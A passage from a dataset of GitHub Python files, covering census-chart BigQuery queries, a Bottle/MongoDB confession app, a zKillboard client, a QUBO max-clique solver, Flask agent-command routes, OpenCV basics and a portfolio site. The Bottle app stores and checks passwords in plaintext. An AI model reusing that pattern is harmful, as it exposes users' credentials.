>= 18) & (df1[\"age\"] <= 26), \"female\"].sum()\n male_adult = df1.loc[(df1[\"age\"] >= 27) & (df1[\"age\"] <= 37), \"male\"].sum()\n female_adult = df1.loc[(df1[\"age\"] >= 27) & (df1[\"age\"] <= 37), \"female\"].sum()\n male_mid_age = df1.loc[(df1[\"age\"] >= 38) & (df1[\"age\"] <= 50), \"male\"].sum()\n female_mid_age = df1.loc[(df1[\"age\"] >= 38) & (df1[\"age\"] <= 50), \"female\"].sum()\n male_grand_age = df1.loc[(df1[\"age\"] >= 51) & (df1[\"age\"] <= 65), \"male\"].sum()\n female_grand_age = df1.loc[(df1[\"age\"] >= 51) & (df1[\"age\"] <= 65), \"female\"].sum()\n male_old = df1.loc[(df1[\"age\"] >= 66) & (df1[\"age\"] < 80), \"male\"].sum()\n female_old = df1.loc[(df1[\"age\"] >= 66) & (df1[\"age\"] < 80), \"female\"].sum()\n male_very_old = df1.loc[df1[\"age\"] >= 80, \"male\"].sum()\n female_very_old = df1.loc[df1[\"age\"] >= 80, \"female\"].sum()\n\n df = pd.DataFrame(\n {\n \"age\": [\n \"0-10\",\n \"11-17\",\n \"18-26\",\n \"27-37\",\n \"38-50\",\n \"51-65\",\n \"66-79\",\n \"80+\",\n ],\n \"male\": [\n male_baby,\n male_teen,\n male_young,\n male_adult,\n male_mid_age,\n male_grand_age,\n male_old,\n male_very_old,\n ],\n \"female\": [\n female_baby,\n female_teen,\n female_young,\n female_adult,\n female_mid_age,\n female_grand_age,\n female_old,\n female_very_old,\n ],\n }\n )\n\n tick_lab = [\n \"20000\",\n \"15000\",\n \"10000\",\n \"5000\",\n \"0\",\n \"5000\",\n \"10000\",\n \"15000\",\n \"20000\",\n ]\n tick_val = [\n -20000,\n -15000,\n -10000,\n -5000,\n 0,\n 5000,\n 10000,\n 15000,\n 20000,\n ]\n\n plt.xticks(tick_val, tick_lab)\n\n df = df.sort_values([\"age\"], ascending=False).reset_index(drop=True)\n df[\"male\"] = df[\"male\"] * -1\n\n bar_plot = sns.barplot(\n x=df[\"male\"],\n y=df[\"age\"],\n data=df,\n order=df[\"age\"],\n color=\"darksalmon\",\n edgecolor=\"w\",\n )\n\n bar_plot = sns.barplot(\n x=df[\"female\"],\n y=df[\"age\"],\n data=df,\n order=df[\"age\"],\n color=\"mediumseagreen\",\n edgecolor=\"w\",\n )\n\n for i in bar_plot.containers:\n dv = list(i.datavalues)\n dv = [str(int(abs(val))) for val in dv]\n bar_plot.bar_label(i, labels=dv, label_type=\"center\")\n\n bar_plot.set_xlabel(\"Male/Female\", fontsize=10)\n bar_plot.set_ylabel(\"Age\", fontsize=10)\n bar_plot.set_title(\n f\"Population Pyramid for {your_postcode} \"\n f\"in {your_borough}, predicted for {your_year}\",\n fontdict={\"fontsize\": 10, \"fontweight\": \"bold\"},\n )\n plt.tight_layout()\n population_pyramid = io.BytesIO()\n plt.savefig(population_pyramid, format=\"png\")\n population_pyramid.name = \"plot.png\"\n population_pyramid.seek(0)\n\n # Close the chart and clean information,\n # that used for building it\n plt.clf()\n plt.cla()\n plt.close()\n\n return population_pyramid\n\n\n# Find the difference of the house prise in the Borough\ndef house_price_difference(your_borough):\n query = \"\"\"\n SELECT ((may_2022-may_2021)*100/may_2021) as value\n FROM `testsemplio.population.h_p`\n where borough_name = @name\"\"\"\n\n job_config = bigquery.QueryJobConfig(\n query_parameters=[\n bigquery.ScalarQueryParameter(\"name\", \"STRING\", your_borough),\n ]\n )\n query_job = client.query(query, job_config=job_config)\n result = query_job.result().to_dataframe().to_dict(\"records\")[0]\n house_price = round(result[\"value\"], 2)\n return house_price\n\n\n# Find the median household income\n# by the postcode from user input\ndef median_household_income(your_postcode):\n query = \"\"\"\n SELECT round(income_lsoa, 1) as value\n FROM `testsemplio.population.economic_by_postcode`\n where postcode = @postcode and title = 'median'\"\"\"\n\n job_config = bigquery.QueryJobConfig(\n query_parameters=[\n bigquery.ScalarQueryParameter(\"postcode\", \"STRING\", your_postcode),\n ]\n )\n query_job = client.query(query, job_config=job_config)\n result = query_job.result().to_dataframe().to_dict(\"records\")[0]\n median_hh_income = round(result[\"value\"], 2)\n\n return median_hh_income\n\n\n# Find the household size by people that live in it for the ward_code\ndef household_size_f(predicted_population_dict):\n print(predicted_population_dict[\"name_x\"])\n query = \"\"\"\n SELECT category, sum(count) as value \n FROM `testsemplio.population.hh_size` \n where name = @name \n group by(category)\"\"\"\n\n job_config = bigquery.QueryJobConfig(\n query_parameters=[\n bigquery.ScalarQueryParameter(\n \"name\", \"STRING\", predicted_population_dict[\"name_x\"]\n ),\n ]\n )\n\n query_job = client.query(query, job_config=job_config)\n result = query_job.result().to_dataframe()\n\n household_size = result[:-1]\n\n try:\n household_size[\"value_percent\"] = round(\n 100 * household_size[\"value\"] / sum(household_size[\"value\"]), 2\n )\n\n except:\n raise Exception\n\n return household_size\n\n\ndef barchart_for_household_sizes(household_size):\n df = pd.DataFrame(\n {\n \"hh_size\": [\"1\", \"2\", \"3\", \"4\", \"5\", \"6\", \"7\", \"8+\"],\n \"#_hh\": [\n household_size[\"value\"].iloc[0],\n household_size[\"value\"].iloc[1],\n household_size[\"value\"].iloc[2],\n household_size[\"value\"].iloc[3],\n household_size[\"value\"].iloc[4],\n household_size[\"value\"].iloc[5],\n household_size[\"value\"].iloc[6],\n household_size[\"value\"].iloc[7],\n ],\n }\n )\n\n barplot = sns.barplot(x=df[\"hh_size\"], y=df[\"#_hh\"], palette=\"crest\")\n\n plt.xticks(fontsize=8)\n for n in barplot.containers:\n barplot.bar_label(n, label_type=\"edge\")\n\n barplot.set_ylabel(\"Number of households\", fontsize=10)\n barplot.set_xlabel(\"Number of persons in household\", fontsize=10)\n barplot.set_title(\n \"Household sizes\", fontdict={\"fontsize\": 15, \"fontweight\": \"bold\"}\n )\n plt.tight_layout()\n household_size_plot = io.BytesIO()\n plt.savefig(household_size_plot, format=\"png\")\n household_size_plot.name = \"hhsize.png\"\n household_size_plot.seek(0)\n\n # Close the chart and clean information,\n # that used for building it\n plt.clf()\n plt.cla()\n plt.close()\n\n return household_size_plot\n\n\n# Find the work and workless households for the Borough\ndef working_and_workless_households(your_borough):\n query = \"\"\"\n SELECT work_hh_value, mix_hh_value, workless_hh_value\n FROM `testsemplio.population.work_hh`\n where borough_name = @name\n \"\"\"\n job_config = bigquery.QueryJobConfig(\n query_parameters=[\n bigquery.ScalarQueryParameter(\"name\", \"STRING\", your_borough),\n ]\n )\n query_job = client.query(query, job_config=job_config)\n work_and_workless_dict = query_job.result().to_dataframe().to_dict(\"records\")[0]\n\n work_and_workless_dict[\"work_hh_value\"] *= 1000\n work_and_workless_dict[\"mix_hh_value\"] *= 1000\n work_and_workless_dict[\"workless_hh_value\"] *= 1000\n\n sum_work = sum(work_and_workless_dict.values())\n\n work_and_workless_dict[\"percent_of_working_hh\"] = round(\n 100 * work_and_workless_dict[\"work_hh_value\"] / sum_work, 2\n )\n work_and_workless_dict[\"percent_of_mixed_hh\"] = round(\n 100 * work_and_workless_dict[\"mix_hh_value\"] / sum_work, 2\n )\n work_and_workless_dict[\"percent_of_workless_hh\"] = round(\n 100 * work_and_workless_dict[\"workless_hh_value\"] / sum_work, 2\n )\n\n return work_and_workless_dict\n\n\n# Creating barchart for the work and workless households\ndef barchart_for_work_and_workless_hh(work_and_workless_dict):\n df = pd.DataFrame(\n {\n \"work\": [\"working\", \"mixed\", \"workless\"],\n \"number\": [\n work_and_workless_dict[\"work_hh_value\"],\n work_and_workless_dict[\"mix_hh_value\"],\n work_and_workless_dict[\"workless_hh_value\"],\n ],\n }\n )\n plot_bar = sns.barplot(y=df[\"work\"], x=df[\"number\"], palette=\"pastel\")\n\n for i in plot_bar.containers:\n plot_bar.bar_label(i, label_type=\"center\")\n\n plot_bar.set_ylabel(\"types of households\", fontsize=10)\n plot_bar.set_xlabel(\"number of households\", fontsize=10)\n plot_bar.set_title(\n \"Types of households by work criteria\",\n fontdict={\"fontsize\": 15, \"fontweight\": \"bold\"},\n )\n plt.yticks(rotation=30)\n plt.tight_layout()\n work_and_workless_hh_plot = io.BytesIO()\n plt.savefig(work_and_workless_hh_plot, format=\"png\")\n work_and_workless_hh_plot.name = \"work.png\"\n work_and_workless_hh_plot.seek(0)\n\n # Close the chart and clean information,\n # that used for building it\n plt.clf()\n plt.cla()\n plt.close()\n\n return work_and_workless_hh_plot\n\n\n# Find the category of tenure in the ward_code\ndef tenure_categories_f(predicted_population_dict):\n query = \"\"\"\n SELECT category, sum(value) as value\n FROM `testsemplio.population.tenure1`\n where name = @name\n group by category\"\"\"\n\n job_config = bigquery.QueryJobConfig(\n query_parameters=[\n bigquery.ScalarQueryParameter(\n \"name\", \"STRING\", predicted_population_dict[\"name_x\"]\n ),\n ]\n )\n query_job = client.query(query, job_config=job_config)\n result = query_job.result().to_dataframe()\n tenure_categories = result.drop([0, 1, 5, 8]).reset_index(drop=True)\n tenure_categories[\"value_percent\"] = round(\n 100 * tenure_categories[\"value\"] / sum(tenure_categories[\"value\"]), 2\n )\n\n return tenure_categories\n\n\n# Find socialgrade by the postcode from user input\ndef socialgrade(your_postcode):\n query = \"\"\"\n SELECT title,\n round(socialgrade_oa *100/sum(socialgrade_oa)over(), 0)\n as socialgrade_oa,\n round(socialgrade_ward*100/sum(socialgrade_ward) over(), 0)\n as socialgrade_ward,\n FROM ( SELECT title, socialgrade_oa, socialgrade_ward\n FROM `testsemplio.population.economic_by_postcode`\n where postcode = @postcode\n and socialgrade_oa is not null\n and title!= 'ab_bucket'\n and title!= 'de_bucket'\n and title != 'total')\"\"\"\n\n job_config = bigquery.QueryJobConfig(\n query_parameters=[\n bigquery.ScalarQueryParameter(\"postcode\", \"STRING\", your_postcode),\n ]\n )\n query_job = client.query(query, job_config=job_config)\n socialgrade_table = query_job.result().to_dataframe()\n cols = [\"socialgrade_oa\", \"socialgrade_ward\"]\n socialgrade_table[cols] = socialgrade_table[cols].astype(int)\n\n return socialgrade_table\n\n\n# Fin qualification of population by the postcode\ndef qualification_of_population(your_postcode):\n query = \"\"\"\n SELECT title,\n round(qualification_oa *100/sum(qualification_oa)over(), 0)\n as qualification_oa,\n round(qualification_ward*100/sum(qualification_ward) over(), 0)\n as qualification_ward,\n FROM ( SELECT title, qualification_oa, qualification_ward\n FROM `testsemplio.population.economic_by_postcode`\n where postcode = @postcode\n and qualification_oa is not null\n and title !='level_4_bucket'\n and title !='schoolchildren_and_students_over_18'\n and title !='total'\n and title !='students_over_18_to_74_unemployed'\n and title !='schoolchildren_and_students_16_to_17'\n and title !='students_over_18_to_74_employed'\n and title != 'students_over_18_to_74_inactive'\n and title !='no_qualification_bucket')\"\"\"\n\n job_config = bigquery.QueryJobConfig(\n query_parameters=[\n bigquery.ScalarQueryParameter(\"postcode\", \"STRING\", your_postcode),\n ]\n )\n query_job = client.query(query, job_config=job_config)\n qualification_table = query_job.result().to_dataframe()\n cols = [\"qualification_oa\", \"qualification_ward\"]\n qualification_table[cols] = qualification_table[cols].astype(int)\n\n return qualification_table\n","repo_name":"mariavyso/postcode_bot","sub_path":"bigquery.py","file_name":"bigquery.py","file_ext":"py","file_size_in_byte":19115,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"43"} +{"seq_id":"40542984353","text":"import pymongo\r\nfrom pymongo import MongoClient\r\nfrom bottle import *\r\nimport pytz\r\nfrom datetime import datetime\r\nimport bottle_session\r\nfrom bottle.ext import beaker\r\nsession_opts = {\r\n 'session.type': 'file',\r\n 'session.cookie_expires': 300,\r\n 'session.data_dir': './data',\r\n 'session.auto': True\r\n}\r\n\r\napp = beaker.middleware.SessionMiddleware(app(), session_opts)\r\n\r\n@route('/')\r\ndef index():\r\n return template(\"template/home.tpl\")\r\n\r\n@route('/welcome',method=\"POST\")\r\ndef mainpage():\r\n k1=\"\"\r\n k2=\"\"\r\n k1=request.forms.get('uname')\r\n k2=request.forms.get('upass')\r\n print(k1,k2)\r\n connection=MongoClient('localhost',27017)\r\n db=connection.app1\r\n names=db.u1\r\n op=names.find({\"name\":k1,\"pass\":k2})\r\n p=1\r\n for i in op:\r\n if i['name']==k1 and i['pass']==k2:\r\n p=0\r\n s = request.environ.get('beaker.session')\r\n s['user']=k1\r\n return template(\"template/main.tpl\",name=s['user'])\r\n if p==1:\r\n return \"Sorry Can't Find You!\"\r\n \r\n #if(k1==op['name'] and k2==op['pass']):\r\n # print(\"Welcome \"+k1)\r\n # return \"Welcome\"+k1\r\n #else:\r\n # return \"Sorry Can't Find You!\"\r\n\r\n@route('/shift')\r\ndef shift():\r\n return template(\"template/signup.tpl\")\r\n \r\n@route('/shift2')\r\ndef shift():\r\n return template(\"template/home.tpl\")\r\n\r\n@route('/welcome1',method=\"POST\")\r\ndef king():\r\n fo={}\r\n po=[]\r\n fe=\"ER\"\r\n k1=request.forms.get('pname')\r\n connection=MongoClient('localhost',27017)\r\n db=connection.app1\r\n s=request.environ.get('beaker.session')\r\n print(s['user'])\r\n intz = pytz.timezone('Asia/Kolkata')\r\n nowdt = datetime.now(intz)\r\n query={\"name\":s['user'],\"comments\":k1,\"time\":nowdt}\r\n names=db.u2\r\n names.insert_one(query)\r\n k=names.find({})\r\n for i in k:\r\n print(i)\r\n s1=\"\"\r\n #s1+=\"Added By : \"+i['name']+\"\\n\"\r\n #s1+=\"Post Time : \"+str(i['time'].strftime(\"%Y-%m-%d %H:%M\"))+\"\\n\\n\"\r\n s1+=i['comments']+\"\\n\"\r\n po.append(s1)\r\n po.reverse()\r\n fo[fe]=po\r\n print(fo)\r\n for i in fo.items():\r\n print(i)\r\n for i in fo[\"ER\"]:\r\n print(i)\r\n print(\"Added Finally\")\r\n print(\"---------------------\")\r\n return template(\"template/main1.tpl\",fo,name=s['user'])\r\n\r\n\r\n@route('/welcome3')\r\ndef queen():\r\n fo={}\r\n po=[]\r\n fe=\"ER\"\r\n connection=MongoClient('localhost',27017)\r\n db=connection.app1\r\n s=request.environ.get('beaker.session')\r\n print(s['user'])\r\n intz = pytz.timezone('Asia/Kolkata')\r\n nowdt = datetime.now(intz)\r\n names=db.u2\r\n k=names.find({})\r\n for i in k:\r\n print(i)\r\n s1=\"\"\r\n #s1+=\"Added By : \"+i['name']+\"\\n\"\r\n #s1+=\"Post Time : \"+str(i['time'].strftime(\"%Y-%m-%d %H:%M\"))+\"\\n\\n\"\r\n s1+=i['comments']+\"\\n\"\r\n po.append(s1)\r\n po.reverse()\r\n fo[fe]=po\r\n print(fo)\r\n for i in fo.items():\r\n print(i)\r\n for i in fo[\"ER\"]:\r\n print(i)\r\n print(\"Added Finally\")\r\n print(\"---------------------\")\r\n return template(\"template/main1.tpl\",fo,name=s['user'])\r\n\r\n\r\n\r\n\r\n\r\n@route('/welcome2',method=\"POST\")\r\ndef signin():\r\n #connection=MongoClient('location',27017)\r\n #db=connection.app1\r\n #names=db.u1 #users\r\n f1=request.forms.get('sname')\r\n f2=request.forms.get('semail')\r\n f3=request.forms.get('spass')\r\n #print(f1+f2+f3)\r\n query={\"name\":f1,\"email\":f2,\"pass\":f3}\r\n print(query)\r\n #names.insert_one({\"name\":f1,\"email\":f2,\"pass\":f3})\r\n connection=MongoClient('localhost',27017)\r\n db=connection.app1\r\n names=db.u1\r\n names.insert_one(query)\r\n #print(item['name'])\r\n print(\"Added Finally\")\r\n return \"Great Work\"\r\n \r\n@route('/logout')\r\ndef logout():\r\n s=request.environ.get('beaker.session')\r\n if s['user']!=\"\" and s['user']!=None:\r\n s['user'] = False\r\n return template(\"template/home.tpl\")\r\n \r\n \r\n\r\nrun(app=app,host=\"localhost\",port=8080)\r\n","repo_name":"Amit3200/Confess-Application","sub_path":"bottle1.py","file_name":"bottle1.py","file_ext":"py","file_size_in_byte":3977,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"43"} +{"seq_id":"36036263136","text":"import asyncio\nimport logging\nimport timeit\n\nimport aiohttp\nimport hermes.backend.dict\nfrom everecon.sde.models import SolarSystem\n\ncache = hermes.Hermes(hermes.backend.dict.Backend)\n\nBASE_URL = 'https://zkillboard.com/api'\n\n# Get an instance of a logger\nLOG = logging.getLogger(__name__)\n\n\nclass SystemEvents(object):\n def __init__(self, system: SolarSystem):\n self.system_id = system.solar_system_id\n self.kills = []\n\n\n# @cache(ttl=300)\nasync def get_kills_in_system(system):\n url = '{}/solarSystemID/{}/pastSeconds/3600/kills/'.format(BASE_URL, system.solar_system_id)\n LOG.info('Calling %s', url.format(system.solar_system_id))\n async with aiohttp.ClientSession() as session:\n async with session.get(url) as response:\n\n events = SystemEvents(system)\n events.kills = await response.json()\n return events\n\n # r = requests.get(url.format(system.solar_system_id))\n # return r.json()\n\n\ndef get_kills_in_systems(systems: list):\n\n start_time = timeit.default_timer()\n\n loop = asyncio.SelectorEventLoop()\n asyncio.set_event_loop(loop)\n\n futures = []\n\n for system in systems:\n futures.append(asyncio.ensure_future(get_kills_in_system(system)))\n\n result = loop.run_until_complete(asyncio.gather(*futures))\n loop.close()\n\n events = {}\n for entry in result:\n events[entry.system_id] = entry\n\n print(\"Getting data took %.2f secs\" % (timeit.default_timer() - start_time))\n\n return events\n","repo_name":"gelli/everecon","sub_path":"everecon/clients/killboard.py","file_name":"killboard.py","file_ext":"py","file_size_in_byte":1519,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"43"} +{"seq_id":"14588949719","text":"import numpy as np\r\nfrom dwave_qbsolv import QBSolv\r\nimport pickle\r\n\r\n\r\n\r\nclass MAXCLIQUE:\r\n\r\n def __init__(self, V, E):\r\n self.graph = np.zeros((V, V))\r\n self.V = V\r\n self.E = E\r\n edges = [(i,j) for i in range(V) for j in range(V) if i < j]\r\n selected_edges = np.random.choice(len(edges), size=E, replace=False)\r\n for e in selected_edges:\r\n i,j = edges[e]\r\n self.graph[i][j] = 1\r\n self.graph[j][i] = 1\r\n\r\n def oracle(self, x):\r\n for i in range(len(x)):\r\n for j in range(len(x)):\r\n if i != j and x[i] == 1 and x[j] == 1 and self.graph[i][j] == 0:\r\n return 1 # x is an invalide state\r\n return -np.sum(x)\r\n\r\n def get_optimum(self):\r\n Q = {}\r\n Q_matrix = np.zeros((self.V, self.V))\r\n for i in range(self.V):\r\n for j in range(self.V):\r\n if i == j:\r\n Q[(i,i)] = -1\r\n Q_matrix[i][i] = -1\r\n elif i < j and self.graph[i][j] == 0:\r\n Q[(i,j)] = 3\r\n Q_matrix[i][j] = 3\r\n response = QBSolv().sample_qubo(Q, num_repeats=100)\r\n r = response.samples()[0]\r\n x = np.zeros(self.V)\r\n for i in range(self.V):\r\n x[i] = r[i]\r\n return np.dot(np.dot(Q_matrix, x), x)\r\n\r\n def save(self, name):\r\n pickle.dump((self.graph, self.V, self.E), open(name, \"wb\"))\r\n\r\n def load(self, name):\r\n self.graph, self.V, self.E = pickle.load(open(name, \"rb\"))\r\n\r\n\r\n","repo_name":"JonasNuesslein/BOX-QUBO","sub_path":"MAXCLIQUE.py","file_name":"MAXCLIQUE.py","file_ext":"py","file_size_in_byte":1572,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"43"} +{"seq_id":"4741830720","text":"#Import from third party libraries\r\nfrom platform import machine\r\nfrom flask import Blueprint, jsonify, request\r\nimport json, ipaddress, socket, time\r\nfrom sqlalchemy import update\r\n\r\n#Import custom modules\r\nfrom ..database.database_tables import db, ClientMachines, Command\r\nfrom ..sockets.data_transfer import sendSocketData, receiveSocketData\r\n\r\n#Setup blueprint for test routes\r\ntest_routes = Blueprint('test_routes',__name__)\r\n\r\n#Route: for returning a list of machines\r\n@test_routes.route(\"/getmachines\")\r\ndef get_machines():\r\n result = jsonify({\r\n \"description\": \"Connected Machines\",\r\n \"content\": [\r\n {\"id\": \"1\", \"machine_name\": \"miz007\",\"machine_type\": \"windows\",\"time\": \"14:53:38, 09/04/2021\", \"status\": \"Connected\",\"ip_address\": \"127.0.0.1\", \"cpu\": \"22\",\"ram\": \"45\"},\r\n {\"id\": \"2\", \"machine_name\": \"Brock-PC\",\"machine_type\": \"windows\", \"time\": \"14:53:38, 09/04/2021\",\"status\": \"Connected\",\"ip_address\": \"127.0.0.2\", \"cpu\": \"37\",\"ram\": \"55\"},\r\n {\"id\": \"3\", \"machine_name\": \"keeganator\",\"machine_type\": \"linux\", \"time\": \"14:53:38, 09/04/2021\",\"status\": \"Disconnected\",\"ip_address\": \"127.0.0.4\", \"cpu\": \"52\",\"ram\": \"35\"},\r\n {\"id\": \"4\", \"machine_name\": \"AlexCompSci\",\"machine_type\": \"windows\", \"time\": \"14:53:38, 09/04/2021\",\"status\": \"Connected\",\"ip_address\": \"127.0.0.5\", \"cpu\": \"12\",\"ram\": \"26\"},\r\n ]\r\n })\r\n return result\r\n\r\n#Route: used for personal testing (brock) to run custom SQL queries\r\n@test_routes.route(\"/brock/test\", methods=[\"GET\"])\r\ndef brockTest():\r\n #result = db.session.execute('SELECT * FROM app_metrics WHERE app_name = :aname LIMIT :start,:limit', {'aname': \"python\", \"start\": 0, \"limit\": 2})\r\n\r\n return \"Test\"\r\n\r\n#Route: personal socket command use\r\n#Could POST? from agent to api or server to api\r\n#So could go from API -> AGENT -> SERVER -> BACK TO API\r\n@test_routes.route(\"/socketcmd\", methods=[\"POST\"])\r\ndef brockSocket():\r\n #Gets the body request - JSON structure for commands\r\n #Structure {\"desc\": \"something\", \"machine\": id, \"content\": {\"type\": \"commandType\", \"details\": {\"msg\": \"Send this please\"}}}\r\n req = request.json\r\n sock = socket.socket()\r\n\r\n agent_machine = ClientMachines.query.filter_by(id=req[\"machine_id\"]).first()\r\n ip = str(ipaddress.IPv4Address(agent_machine.ip_address))\r\n port = int(agent_machine.ports.split(\",\")[0])\r\n \r\n print(\"IP and port coupling: \" + ip + \" - \" + str(port))\r\n\r\n sock.connect((\"127.0.0.1\", port))\r\n\r\n try:\r\n #Create a new table entry object using request data\r\n commmand_data = Command(\r\n machine = agent_machine,\r\n timestamp = time.time(),\r\n type = req[\"type\"])\r\n\r\n db.session.add(commmand_data)\r\n db.session.commit()\r\n\r\n print(\"Command Data saved to database\")\r\n except Exception as err_msg:\r\n print(err_msg)\r\n\r\n json_var = {}\r\n\r\n machine_id = req[\"machine_id\"] \r\n machine_name = req[\"machine_name\"] \r\n type = req[\"type\"]\r\n json_var[\"machine_id\"] = machine_id\r\n json_var[\"machine_name\"] = machine_name\r\n json_var[\"type\"] = type\r\n params_send = req[\"parameters\"]\r\n\r\n print(req[\"type\"])\r\n \r\n \r\n json_var[\"parameters\"] = params_send\r\n \r\n json_data = json.dumps(json_var) \r\n\r\n sendSocketData(sock, json_data)\r\n\r\n data = receiveSocketData(sock)\r\n\r\n if data: #\r\n commmand_data.result = True\r\n db.session.commit()\r\n else:\r\n print(\"No data received\")\r\n \r\n\r\n return jsonify({\"desc\": \"Return of the message from the socket\", \"content\":str(data)})\r\n","repo_name":"brockgofficial/eos-application","sub_path":"server/modules/routes/test_routes.py","file_name":"test_routes.py","file_ext":"py","file_size_in_byte":3430,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"43"} +{"seq_id":"71869388609","text":"import cv2\nfrom src.utilities import print_h\n\n\n# 1: [Reading/Displaying Image]:\nprint_h(\"1: Reading and displaying image from disk...\\n\")\nimage = cv2.imread(\"Data/sunset.jpg\")\ncv2.namedWindow(\"Sunset\",cv2.WINDOW_NORMAL)\ncv2.imshow(\"Sunset\",image)\ncv2.waitKey(0)\n\n# Displaying image dimensions (rows,cols,channels)\nprint(\"- Retreiving img details...\\n\")\n(rows,cols,channels) = image.shape\nprint(f\"Image has dimensions {(rows,cols,channels)}\")\n\n# 2: [Writing Image]:\nprint_h(\"2: Writing img to disk...\\n\")\ngray = cv2.cvtColor(image,cv2.COLOR_BGR2GRAY)\ncv2.imwrite(\"Sunset_gray.png\",gray)\n\n# 3: [Reading/Displaying Video]:\nprint_h(\"3: Reading and displaying video from disk...\\n\")\n\nvid = cv2.VideoCapture(\"Data/Megamind.avi\")\n\nwhile(vid.read()[0]):\n frame = vid.read()[1]\n cv2.imshow(\"Megamind\",frame)\n k = cv2.waitKey(33)\n if k ==27:\n break\n \n# 4: [Writing Video]:\nprint_h(\"4: Writing video to disk...\\n\")\nvid = cv2.VideoCapture(\"Data\\Megamind.avi\")\n\n# Extracting input video properties to be used for output videowriter initialization\ninp_fps = vid.get(cv2.CAP_PROP_FPS)\nwidth = vid.get(cv2.CAP_PROP_FRAME_WIDTH)\nheight = vid.get(cv2.CAP_PROP_FRAME_HEIGHT)\nsize = (int(width),int(height))\n\nout = cv2.VideoWriter(\"out.avi\",cv2.VideoWriter_fourcc(*'MJPG'),inp_fps,size)\n#output= cv2.VideoWrite(output.avi,cv2.VideoWrite_fourcc('M','J','P','G'),fps,size)\n\nwhile(vid.read()[0]):\n \n frame = vid.read()[1]\n # Converting from bgr to rgb\n frame_rgb = frame[:,:,::-1]\n # Saving rgb frames inside new video\n out.write(frame_rgb)\n\n# When everything done, release \n# the video capture and video \n# write objects\nout.release()","repo_name":"HaiderAbasi/OpenCV-Master-Computer-Vision-in-Python","sub_path":"src/a__IP_Basics/a_image_vid_access.py","file_name":"a_image_vid_access.py","file_ext":"py","file_size_in_byte":1652,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"43"} +{"seq_id":"74683525569","text":"from flask import (\n Blueprint, \n render_template, \n flash, \n redirect, \n url_for, \n abort,\n current_app as app\n)\n\nfrom .blog import blog_manager\nfrom .forms import ContactForm\nfrom .mail import email_manager\nfrom .pagination import Pagination\nfrom .project_feed import project_feed_manager\n\nportfolio = Blueprint('portfolio', __name__)\n\n# Error handlers\n@portfolio.app_errorhandler(404)\ndef not_found(error):\n ''' Renders a 404 error page. '''\n app.logger.exception('404 error encountered.') \n\n return render_template('errors/404.html'), 200\n\n@portfolio.app_errorhandler(500)\ndef internal_server_error(error):\n ''' Renders a generic error page. '''\n app.logger.exception('500 error encountered.')\n\n return render_template('errors/500.html'), 200\n\n@portfolio.route('/')\n@portfolio.route('/home/')\n@portfolio.route('/index/')\ndef home():\n ''' Renders the home page. '''\n return render_template('home.html')\n\n@portfolio.route('/about/')\ndef about():\n ''' Renders the about page. '''\n project_feed = project_feed_manager.get_feed()\n\n return render_template('about.html', project_feed=project_feed)\n\n@portfolio.route('/blog/')\n@portfolio.route('/blog/page//')\ndef blog(page=1):\n ''' Renders the main blog list page. '''\n # Here, we handle two different routes: \n # 1. '/blog/': we render page 1 of the posts. \n # 2. '/blog/page//': we render the posts for the specific page.\n \n posts_per_page = int(app.config['POSTS_PER_PAGE'])\n skip = (page - 1) * posts_per_page\n\n limit = posts_per_page\n blog_posts, count = blog_manager.get_range(skip, limit)\n pagination = Pagination(page, posts_per_page, count)\n\n # If we're asked for a page that doesn't actually exist just redirect back to the main blog page.\n if not blog_posts and page != 1:\n return redirect(url_for('portfolio.blog'))\n\n return render_template('blog/list.html',\n skip=skip,\n blog_posts=blog_posts,\n pagination=pagination)\n\n@portfolio.route('/blog////')\ndef blog_post(year, month, day, slug):\n ''' Renders the blog post page. '''\n key = '{}/{}/{}/{}'.format(year, month, day, slug)\n\n try: \n post = blog_manager.get(key)\n\n return render_template('blog/post.html', post=post)\n except KeyError:\n # If we get a key error, then we're probably getting an invalid request.\n abort(404)\n\n@portfolio.route('/blog/tag//')\ndef blog_by_tag(tag):\n ''' Renders the blog list page, with the posts filtered by the specified tag. '''\n posts_with_tag = blog_manager.get_matching(lambda p: tag.lower() in p['tags'])\n\n # Note we don't 404 if there are no matching posts - it just means there \n # will be no posts to render on the page.\n return render_template('blog/list-tags.html',\n posts=posts_with_tag,\n tag=tag.lower())\n\n@portfolio.route('/blog/year//')\ndef blog_by_year(year):\n posts_for_year = blog_manager.get_matching(lambda p: p.year == str(year))\n\n return render_template('blog/list-tags.html',\n posts=posts_for_year,\n tag=year)\n\n@portfolio.route('/contact/', methods=['GET', 'POST'])\ndef contact():\n form = ContactForm()\n\n if form.validate_on_submit():\n name = str(form.name.data)\n email = str(form.email.data)\n message = str(form.message.data)\n\n # The email content is rendered as HTML.\n html = render_template('email/message.html',\n name=name,\n email=email,\n message=message)\n\n subject = 'New message from {} [{}] | Portfolio'.format(name, email)\n\n email_manager.send_email(app.config['CONTACT_EMAIL'], subject, html)\n\n flash('Your message has made its way to my inbox. I will try to respond promptly!')\n \n return redirect(url_for('portfolio.contact'))\n\n # Something invalid was provided. Let the user try again with the error information.\n return render_template('contact.html',\n form=form,\n errors=form.errors.keys())\n","repo_name":"JedS6391/portfolio-jed-simson","sub_path":"portfolio/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4303,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"43"} +{"seq_id":"3462383331","text":"import os\nimport json\nfrom bayespso.tools import kaggle_score_calculator as ksc\nfrom bayespso.tools import submission_higgs as sh\nimport glob\nimport shutil\nimport numpy as np\nfrom textwrap import dedent\nimport time\nimport subprocess\n\n\nBASE = '/home/user/HBC_analysis/collected_evol_Kaggle/'\nPATH_TO_TRAIN = '/home/user/training.csv'\nPATH_TO_TEST = '/home/user/test.csv'\n\n\ndef load_file(algorithm):\n input_file = os.path.join(BASE, '%s_results.json' %algorithm)\n with open(input_file, 'rt') as inFile:\n results = json.load(inFile)\n return results\n\n\n\ndef assign_to_results(results):\n wcp = os.path.join(BASE, 'tmp', '*', '*.json')\n for path in glob.glob(wcp):\n with open(path, 'rt') as inFile:\n scores = json.load(inFile)\n repeat_nr = path.split('/')[-2]\n iteration_nr = path.split('/')[-1].split('.')[0].split('_')[-1]\n for iteration_info in results[repeat_nr]:\n if 